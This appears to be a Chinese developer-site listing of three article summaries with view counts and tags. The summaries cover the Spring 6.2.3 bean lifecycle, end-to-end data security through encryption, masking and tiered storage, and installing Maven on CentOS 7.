本文深度解析Spring 6.2.3 Bean生命周期,涵盖BeanDefinition注册、实例化、属性填充、Aware回调、BeanPostProcessor前后置处理、初始化(@PostConstruct/InitializingBean/init-method)、AOP代理、单例缓存及销毁全流程,结合源码、实战示例与生产问题排查,助你彻底掌握IoC核心机制。
460 3
|
13天前
|
存储 算法 安全
数据安全全链路:加密、脱敏、分级存储与合规落地指南
本文系统阐述数字经济时代数据安全的全链路防护体系:涵盖AES-256-GCM与SM4对称加密、RSA/SM2非对称加密、SM3/BCrypt哈希算法;动态/静态脱敏实践;基于敏感级别的分级存储策略;以及等保合规审计落地。强调密钥管理、最小权限与安全左移等最佳实践。
308 1
|
Oracle Java 关系型数据库
2022 年超详细过程步骤讲解 CentOS 7 安装Maven。以及Mavne配置文件的修改
这篇文章提供了在CentOS 7上安装Maven的详细步骤,包括从官网下载Maven、创建文件夹、上传和解压Maven安装包、配置环境变量、设置Maven源为阿里云、指定jar包仓库位置、配置JDK版本,并验证安装是否成功。
2022 年超详细过程步骤讲解 CentOS 7 安装Maven。以及Mavne配置文件的修改

热门文章

最新文章